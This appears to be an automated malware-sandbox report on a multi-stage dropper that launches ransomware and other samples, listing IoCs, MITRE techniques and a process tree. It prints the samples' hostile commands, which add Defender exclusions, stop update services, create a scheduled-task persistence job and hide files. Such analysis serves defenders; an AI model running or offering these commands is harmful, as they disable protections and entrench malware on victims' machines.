a05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

9104 notepad.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

10028 schtasks.exe

pid	process
9104	notepad.exe

pid	process
10028	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

pid	process
5888	powershell.exe
5888	powershell.exe
5996	powershell.exe
5996	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5888	powershell.exe
5996	powershell.exe
6404	powershell.exe
6404	powershell.exe
6872	powershell.exe
6872	powershell.exe
6708	powershell.exe
6708	powershell.exe
6404	powershell.exe
6872	powershell.exe
6708	powershell.exe
3744	powershell.exe
3744	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
3744	powershell.exe
4108	powershell.exe
4108	powershell.exe
6168	powershell.exe
6168	powershell.exe
4108	powershell.exe
6364	powershell.exe
6364	powershell.exe
6364	powershell.exe
6168	powershell.exe
5756	powershell.exe
5756	powershell.exe
5756	powershell.exe
6996	powershell.exe
6996	powershell.exe
404	powershell.exe
404	powershell.exe
404	powershell.exe
3744	powershell.exe
3744	powershell.exe
7108	powershell.exe
7108	powershell.exe
7376	powershell.exe
7376	powershell.exe
6996	powershell.exe
6996	powershell.exe
7892	powershell.exe
7892	powershell.exe
7268	powershell.exe
7268	powershell.exe
1628	powershell.exe
7196	powershell.exe
6344	powershell.exe
6344	powershell.exe
7184	powershell.exe
7184	powershell.exe
1628	powershell.exe
7196	powershell.exe
6260	powershell.exe
6260	powershell.exe
6672	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

CryptoWall.exeexplorer.exe

pid process

4248 CryptoWall.exe
1204 explorer.exe
Suspicious behavior: SetClipboardViewer 2 IoCs

Processes:

sysarddrvs.exesysklnorbcv.exe

pid process

8628 sysarddrvs.exe
912 sysklnorbcv.exe

pid	process
4248	CryptoWall.exe
1204	explorer.exe

pid	process
8628	sysarddrvs.exe
912	sysklnorbcv.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exevssvc.exe4363463463464363463463463.exe25.exe24.exe22.exe23.exe21.exe20.exe19.exe18.exe16.exe17.exe15.exe14.exe13.exe12.exe11.exe10.exe9.exe8.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2100	wmic.exe
Token: SeSecurityPrivilege	2100	wmic.exe
Token: SeTakeOwnershipPrivilege	2100	wmic.exe
Token: SeLoadDriverPrivilege	2100	wmic.exe
Token: SeSystemProfilePrivilege	2100	wmic.exe
Token: SeSystemtimePrivilege	2100	wmic.exe
Token: SeProfSingleProcessPrivilege	2100	wmic.exe
Token: SeIncBasePriorityPrivilege	2100	wmic.exe
Token: SeCreatePagefilePrivilege	2100	wmic.exe
Token: SeBackupPrivilege	2100	wmic.exe
Token: SeRestorePrivilege	2100	wmic.exe
Token: SeShutdownPrivilege	2100	wmic.exe
Token: SeDebugPrivilege	2100	wmic.exe
Token: SeSystemEnvironmentPrivilege	2100	wmic.exe
Token: SeRemoteShutdownPrivilege	2100	wmic.exe
Token: SeUndockPrivilege	2100	wmic.exe
Token: SeManageVolumePrivilege	2100	wmic.exe
Token: 33	2100	wmic.exe
Token: 34	2100	wmic.exe
Token: 35	2100	wmic.exe
Token: 36	2100	wmic.exe
Token: SeIncreaseQuotaPrivilege	2100	wmic.exe
Token: SeSecurityPrivilege	2100	wmic.exe
Token: SeTakeOwnershipPrivilege	2100	wmic.exe
Token: SeLoadDriverPrivilege	2100	wmic.exe
Token: SeSystemProfilePrivilege	2100	wmic.exe
Token: SeSystemtimePrivilege	2100	wmic.exe
Token: SeProfSingleProcessPrivilege	2100	wmic.exe
Token: SeIncBasePriorityPrivilege	2100	wmic.exe
Token: SeCreatePagefilePrivilege	2100	wmic.exe
Token: SeBackupPrivilege	2100	wmic.exe
Token: SeRestorePrivilege	2100	wmic.exe
Token: SeShutdownPrivilege	2100	wmic.exe
Token: SeDebugPrivilege	2100	wmic.exe
Token: SeSystemEnvironmentPrivilege	2100	wmic.exe
Token: SeRemoteShutdownPrivilege	2100	wmic.exe
Token: SeUndockPrivilege	2100	wmic.exe
Token: SeManageVolumePrivilege	2100	wmic.exe
Token: 33	2100	wmic.exe
Token: 34	2100	wmic.exe
Token: 35	2100	wmic.exe
Token: 36	2100	wmic.exe
Token: SeBackupPrivilege	4568	vssvc.exe
Token: SeRestorePrivilege	4568	vssvc.exe
Token: SeAuditPrivilege	4568	vssvc.exe
Token: SeDebugPrivilege	3088	4363463463464363463463463.exe
Token: SeDebugPrivilege	1592	25.exe
Token: SeDebugPrivilege	1600	24.exe
Token: SeDebugPrivilege	4728	22.exe
Token: SeDebugPrivilege	3508	23.exe
Token: SeDebugPrivilege	2696	21.exe
Token: SeDebugPrivilege	3044	20.exe
Token: SeDebugPrivilege	300	19.exe
Token: SeDebugPrivilege	2412	18.exe
Token: SeDebugPrivilege	1504	16.exe
Token: SeDebugPrivilege	3484	17.exe
Token: SeDebugPrivilege	4960	15.exe
Token: SeDebugPrivilege	964	14.exe
Token: SeDebugPrivilege	2484	13.exe
Token: SeDebugPrivilege	5048	12.exe
Token: SeDebugPrivilege	3280	11.exe
Token: SeDebugPrivilege	5008	10.exe
Token: SeDebugPrivilege	3224	9.exe
Token: SeDebugPrivilege	456	8.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

MSBuild.exe1188%E7%83%88%E7%84%B0.exe

pid	process
8572	MSBuild.exe
10216	1188%E7%83%88%E7%84%B0.exe
10216	1188%E7%83%88%E7%84%B0.exe
10216	1188%E7%83%88%E7%84%B0.exe
10216	1188%E7%83%88%E7%84%B0.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

PCCooker_x64.exeasena.exeCryptoWall.exeexplorer.exeBomb.exe

description	pid	process	target process
PID 1440 wrote to memory of 3088	1440	PCCooker_x64.exe	4363463463464363463463463.exe
PID 1440 wrote to memory of 3088	1440	PCCooker_x64.exe	4363463463464363463463463.exe
PID 1440 wrote to memory of 3088	1440	PCCooker_x64.exe	4363463463464363463463463.exe
PID 1440 wrote to memory of 3300	1440	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 1440 wrote to memory of 3300	1440	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 1440 wrote to memory of 3300	1440	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 1440 wrote to memory of 412	1440	PCCooker_x64.exe	asena.exe
PID 1440 wrote to memory of 412	1440	PCCooker_x64.exe	asena.exe
PID 1440 wrote to memory of 412	1440	PCCooker_x64.exe	asena.exe
PID 412 wrote to memory of 2100	412	asena.exe	wmic.exe
PID 412 wrote to memory of 2100	412	asena.exe	wmic.exe
PID 412 wrote to memory of 2820	412	asena.exe	vssadmin.exe
PID 412 wrote to memory of 2820	412	asena.exe	vssadmin.exe
PID 1440 wrote to memory of 2896	1440	PCCooker_x64.exe	Bomb.exe
PID 1440 wrote to memory of 2896	1440	PCCooker_x64.exe	Bomb.exe
PID 1440 wrote to memory of 4248	1440	PCCooker_x64.exe	CryptoWall.exe
PID 1440 wrote to memory of 4248	1440	PCCooker_x64.exe	CryptoWall.exe
PID 1440 wrote to memory of 4248	1440	PCCooker_x64.exe	CryptoWall.exe
PID 4248 wrote to memory of 1204	4248	CryptoWall.exe	explorer.exe
PID 4248 wrote to memory of 1204	4248	CryptoWall.exe	explorer.exe
PID 4248 wrote to memory of 1204	4248	CryptoWall.exe	explorer.exe
PID 1204 wrote to memory of 2564	1204	explorer.exe	svchost.exe
PID 1204 wrote to memory of 2564	1204	explorer.exe	svchost.exe
PID 1204 wrote to memory of 2564	1204	explorer.exe	svchost.exe
PID 2896 wrote to memory of 1592	2896	Bomb.exe	25.exe
PID 2896 wrote to memory of 1592	2896	Bomb.exe	25.exe
PID 2896 wrote to memory of 1600	2896	Bomb.exe	24.exe
PID 2896 wrote to memory of 1600	2896	Bomb.exe	24.exe
PID 2896 wrote to memory of 3508	2896	Bomb.exe	23.exe
PID 2896 wrote to memory of 3508	2896	Bomb.exe	23.exe
PID 2896 wrote to memory of 4728	2896	Bomb.exe	22.exe
PID 2896 wrote to memory of 4728	2896	Bomb.exe	22.exe
PID 2896 wrote to memory of 2696	2896	Bomb.exe	21.exe
PID 2896 wrote to memory of 2696	2896	Bomb.exe	21.exe
PID 2896 wrote to memory of 3044	2896	Bomb.exe	20.exe
PID 2896 wrote to memory of 3044	2896	Bomb.exe	20.exe
PID 2896 wrote to memory of 300	2896	Bomb.exe	19.exe
PID 2896 wrote to memory of 300	2896	Bomb.exe	19.exe
PID 2896 wrote to memory of 2412	2896	Bomb.exe	18.exe
PID 2896 wrote to memory of 2412	2896	Bomb.exe	18.exe
PID 2896 wrote to memory of 3484	2896	Bomb.exe	17.exe
PID 2896 wrote to memory of 3484	2896	Bomb.exe	17.exe
PID 2896 wrote to memory of 1504	2896	Bomb.exe	16.exe
PID 2896 wrote to memory of 1504	2896	Bomb.exe	16.exe
PID 2896 wrote to memory of 4960	2896	Bomb.exe	15.exe
PID 2896 wrote to memory of 4960	2896	Bomb.exe	15.exe
PID 2896 wrote to memory of 964	2896	Bomb.exe	14.exe
PID 2896 wrote to memory of 964	2896	Bomb.exe	14.exe
PID 2896 wrote to memory of 2484	2896	Bomb.exe	13.exe
PID 2896 wrote to memory of 2484	2896	Bomb.exe	13.exe
PID 2896 wrote to memory of 5048	2896	Bomb.exe	12.exe
PID 2896 wrote to memory of 5048	2896	Bomb.exe	12.exe
PID 2896 wrote to memory of 3280	2896	Bomb.exe	11.exe
PID 2896 wrote to memory of 3280	2896	Bomb.exe	11.exe
PID 2896 wrote to memory of 5008	2896	Bomb.exe	10.exe
PID 2896 wrote to memory of 5008	2896	Bomb.exe	10.exe
PID 2896 wrote to memory of 3224	2896	Bomb.exe	9.exe
PID 2896 wrote to memory of 3224	2896	Bomb.exe	9.exe
PID 2896 wrote to memory of 456	2896	Bomb.exe	8.exe
PID 2896 wrote to memory of 456	2896	Bomb.exe	8.exe
PID 2896 wrote to memory of 1872	2896	Bomb.exe	7.exe
PID 2896 wrote to memory of 1872	2896	Bomb.exe	7.exe
PID 2896 wrote to memory of 284	2896	Bomb.exe	6.exe
PID 2896 wrote to memory of 284	2896	Bomb.exe	6.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

7056 attrib.exe

pid	process
7056	attrib.exe

C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe
"C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1440

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3088

C:\Users\Admin\AppData\Local\Temp\Files\cudo.exe
"C:\Users\Admin\AppData\Local\Temp\Files\cudo.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:6724

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:8572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:7648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MSBuild.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:7640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svcsys'
5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:5276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svcsys'
5⤵
- System Location Discovery: System Language Discovery
PID:8720

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svcsys" /tr "C:\ProgramData\svcsys"
5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:10028

C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
"C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:8188

C:\Windows\sysmablsvr.exe
C:\Windows\sysmablsvr.exe
4⤵
- Modifies security service
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
PID:6256

C:\Users\Admin\AppData\Local\Temp\251451918.exe
C:\Users\Admin\AppData\Local\Temp\251451918.exe
5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:9760

C:\Users\Admin\AppData\Local\Temp\Files\4434.exe
"C:\Users\Admin\AppData\Local\Temp\Files\4434.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:7580

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:6664

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- System Location Discovery: System Language Discovery
PID:8256

C:\Users\Admin\AppData\Local\Temp\Files\ulMkXbGa.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ulMkXbGa.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:9168

C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
"C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3580

C:\Users\Admin\AppData\Local\Temp\Files\1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:592

C:\Windows\sysarddrvs.exe
C:\Windows\sysarddrvs.exe
4⤵
- Modifies security service
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
PID:8628

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
5⤵
- System Location Discovery: System Language Discovery
PID:5360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:6664

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
5⤵
- System Location Discovery: System Language Discovery
PID:1568

C:\Windows\SysWOW64\sc.exe
sc stop UsoSvc
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:8256

C:\Windows\SysWOW64\sc.exe
sc stop WaaSMedicSvc
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:7544

C:\Windows\SysWOW64\sc.exe
sc stop wuauserv
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:9940

C:\Windows\SysWOW64\sc.exe
sc stop DoSvc
6⤵
- Launches sc.exe
PID:5252

C:\Windows\SysWOW64\sc.exe
sc stop BITS
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5756

C:\Users\Admin\AppData\Local\Temp\Files\76.exe
"C:\Users\Admin\AppData\Local\Temp\Files\76.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:8780

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
4⤵
- System Location Discovery: System Language Discovery
PID:4456

C:\Users\Admin\AppData\Local\Temp\Files\random.exe
"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:7536

C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:5668

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
4⤵
PID:4492

C:\Windows\System32\Wbem\WMIC.exe
wmic diskdrive get Model
5⤵
PID:7244

C:\Windows\system32\findstr.exe
findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
5⤵
PID:8912

C:\Users\Admin\AppData\Local\Temp\Files\pp.exe
"C:\Users\Admin\AppData\Local\Temp\Files\pp.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4964

C:\Users\Admin\AppData\Local\Temp\Files\23c2343.exe
"C:\Users\Admin\AppData\Local\Temp\Files\23c2343.exe"
3⤵
- Executes dropped EXE
PID:9092

C:\Users\Admin\AppData\Local\Temp\Files\66e1db883af59_def.exe
"C:\Users\Admin\AppData\Local\Temp\Files\66e1db883af59_def.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:9400

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- System Location Discovery: System Language Discovery
PID:8920

C:\Users\Admin\AppData\Local\Temp\Files\t.exe
"C:\Users\Admin\AppData\Local\Temp\Files\t.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5868

C:\Users\Admin\AppData\Local\Temp\Files\npp.exe
"C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6908

C:\Users\Admin\AppData\Local\Temp\90345194.exe
C:\Users\Admin\AppData\Local\Temp\90345194.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:9740

C:\Windows\sysklnorbcv.exe
C:\Windows\sysklnorbcv.exe
5⤵
- Modifies security service
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
PID:912

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
6⤵
- System Location Discovery: System Language Discovery
PID:6244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
7⤵
- System Location Discovery: System Language Discovery
PID:7600

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
6⤵
- System Location Discovery: System Language Discovery
PID:8756

C:\Windows\SysWOW64\sc.exe
sc stop UsoSvc
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:6772

C:\Windows\SysWOW64\sc.exe
sc stop WaaSMedicSvc
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2684

C:\Windows\SysWOW64\sc.exe
sc stop wuauserv
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:6764

C:\Windows\SysWOW64\sc.exe
sc stop DoSvc
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:6140

C:\Windows\SysWOW64\sc.exe
sc stop BITS
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1480

C:\Users\Admin\AppData\Local\Temp\Files\cab.exe
"C:\Users\Admin\AppData\Local\Temp\Files\cab.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:10100

C:\Users\Admin\AppData\Local\Temp\Files\cab.exe
C:\Users\Admin\AppData\Local\Temp\Files\cab.exe
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:9184

C:\Windows\SysWOW64\whoami.exe
whoami
5⤵
- System Location Discovery: System Language Discovery
PID:9744

C:\Users\Admin\AppData\Local\Temp\Files\Channel1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Channel1.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:8504

C:\Users\Admin\AppData\Local\Temp\Files\svhosts.exe
"C:\Users\Admin\AppData\Local\Temp\Files\svhosts.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7796

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:7400

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:5284

C:\Users\Admin\AppData\Local\Temp\Files\66d0502b12496_MKna.exe
"C:\Users\Admin\AppData\Local\Temp\Files\66d0502b12496_MKna.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:8916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
4⤵
PID:7740

C:\Windows\system32\mode.com
mode 65,10
5⤵
PID:9880

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p151921358818216190771159712614 -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3912

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_9.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:316

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_8.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:8480

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_7.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7336

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_6.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2932

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_5.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4384

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_4.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7872

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_3.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2468

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7072

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
5⤵
- Loads dropped DLL
PID:1036

C:\Windows\system32\attrib.exe
attrib +H "nRQUvisZS5yyGTCGUs.exe"
5⤵
- Views/modifies file attributes
PID:7056

C:\Users\Admin\AppData\Local\Temp\main\nRQUvisZS5yyGTCGUs.exe
"nRQUvisZS5yyGTCGUs.exe"
5⤵
- System Location Discovery: System Language Discovery
PID:9608

C:\Users\Admin\AppData\Local\Temp\Files\66eea6336b153_app16540406983468141987.exe
"C:\Users\Admin\AppData\Local\Temp\Files\66eea6336b153_app16540406983468141987.exe"
3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:9524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- System Location Discovery: System Language Discovery
- Modifies system certificate store
PID:8092

C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe"
3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:10216

C:\Users\Admin\AppData\Local\Temp\Files\m.exe
"C:\Users\Admin\AppData\Local\Temp\Files\m.exe"
3⤵
PID:6440

C:\Users\Admin\AppData\Local\Temp\Files\66e014584fcee_w2.exe
"C:\Users\Admin\AppData\Local\Temp\Files\66e014584fcee_w2.exe"
3⤵
- System Location Discovery: System Language Discovery
PID:8684

C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
"C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
3⤵
PID:8836

C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
"C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
3⤵
- System Location Discovery: System Language Discovery
PID:9280

C:\Users\Admin\AppData\Local\Temp\Files\crypted8888.exe
"C:\Users\Admin\AppData\Local\Temp\Files\crypted8888.exe"
3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:7900

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:2104

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- System Location Discovery: System Language Discovery
PID:4088

C:\Users\Admin\AppData\Local\Temp\Files\11.exe
"C:\Users\Admin\AppData\Local\Temp\Files\11.exe"
3⤵
- System Location Discovery: System Language Discovery
PID:5508

C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe
"C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe"
3⤵
- System Location Discovery: System Language Discovery
PID:4004

C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
"C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3300

C:\Users\Admin\AppData\Local\Temp\asena.exe
"C:\Users\Admin\AppData\Local\Temp\asena.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
PID:412

C:\Windows\System32\Wbem\wmic.exe
